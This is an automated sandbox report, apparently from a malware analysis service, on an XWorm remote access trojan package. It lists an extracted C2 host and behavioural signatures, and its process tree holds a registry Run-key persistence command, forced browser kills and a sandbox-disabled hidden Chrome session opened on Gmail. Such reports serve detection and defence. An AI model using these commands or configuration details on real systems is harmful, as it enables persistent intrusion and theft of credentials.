Analysis
-
max time kernel
1588s -
max time network
1590s -
platform
windows11-21h2_x64 -
resource
win11-20240214-en -
resource tags
-
submitted
11-04-2024 13:31
General
-
Target
https://moonreborn.com/attachments/steal_31.03.24_v2.20.zip
Malware Config
Extracted
xworm
3.1
full-wet.at.ply.gg:38848
-
Install_directory
%AppData%
-
install_file
chrome.exe
Signatures
-
Detect Xworm Payload 2 IoCs
-
Xworm
Xworm is a remote access trojan written in C#.
-
Blocklisted process makes network request 8 IoCs
-
Modifies Installed Components in the registry 2 TTPs 1 IoCs
-
Drops startup file 2 IoCs
-
Executes dropped EXE 36 IoCs
-
Loads dropped DLL 11 IoCs
-
Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 7 IoCs
-
Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 12 IoCs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 2 IoCs
-
Suspicious use of SetThreadContext 10 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 22 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 4 IoCs
-
Enumerates processes with tasklist 1 TTPs 4 IoCs
-
Enumerates system info in registry 2 TTPs 12 IoCs
-
Kills process with taskkill 10 IoCs
-
Modifies Internet Explorer settings 1 TTPs 9 IoCs
-
Modifies data under HKEY_USERS 3 IoCs
-
Modifies registry class 64 IoCs
-
Modifies registry key 1 TTPs 1 IoCs
-
NTFS ADS 14 IoCs
-
Suspicious behavior: AddClipboardFormatListener 7 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 9 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 60 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of SetWindowsHookEx 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://moonreborn.com/attachments/steal_31.03.24_v2.20.zip1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9a5f73cb8,0x7ff9a5f73cc8,0x7ff9a5f73cd82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1884 /prefetch:22⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2388 /prefetch:32⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2644 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4916 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4904 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3480 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3752 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5312 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5868 /prefetch:82⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4956 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5060 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5100 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6208 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5868 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3332 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5616 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5004 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6212 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2976 /prefetch:82⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,6621933232261600070,12641724830154208073,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4620 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"1⤵
- NTFS ADS
-
C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp3771.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp3771.tmp.bat3⤵
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 1908"4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\find.exefind ":"4⤵
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak4⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f5⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f6⤵
- Adds Run key to start application
- Modifies registry key
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC.exe"1⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"1⤵
- NTFS ADS
-
C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp9AFE.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp9AFE.tmp.bat3⤵
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 2132"4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\find.exefind ":"4⤵
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak4⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC-Client.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC-Client.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9a5f69758,0x7ff9a5f69768,0x7ff9a5f697784⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1556 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:24⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2208 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3216 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3232 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4560 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:14⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4780 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4928 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4848 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4912 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5176 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:84⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=1564 --field-trial-handle=1808,i,10112424543028398433,16074871790133538112,131072 /prefetch:14⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 2EA4LO 127.0.0.1 8000 Q4JNC52⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM brave.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM brave.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM chrome.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM msedge.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msedge.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM firefox.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefox.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM opera.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM opera.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" " https://mail.google.com" --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --no-sandbox --allow-no-sandbox-job --disable-accelerated-layers --disable-accelerated-plugins --disable-audio --disable-gpu --disable-d3d11 --disable-accelerated-2d-canvas --disable-deadline-scheduling --disable-ui-deadline-scheduling --aura-no-shadows --mute-audio3⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Pandora /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Pandora --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff9a5f69758,0x7ff9a5f69768,0x7ff9a5f697784⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1720 --field-trial-handle=1980,i,11509329092172963005,3959318290650349946,131072 /prefetch:24⤵
-
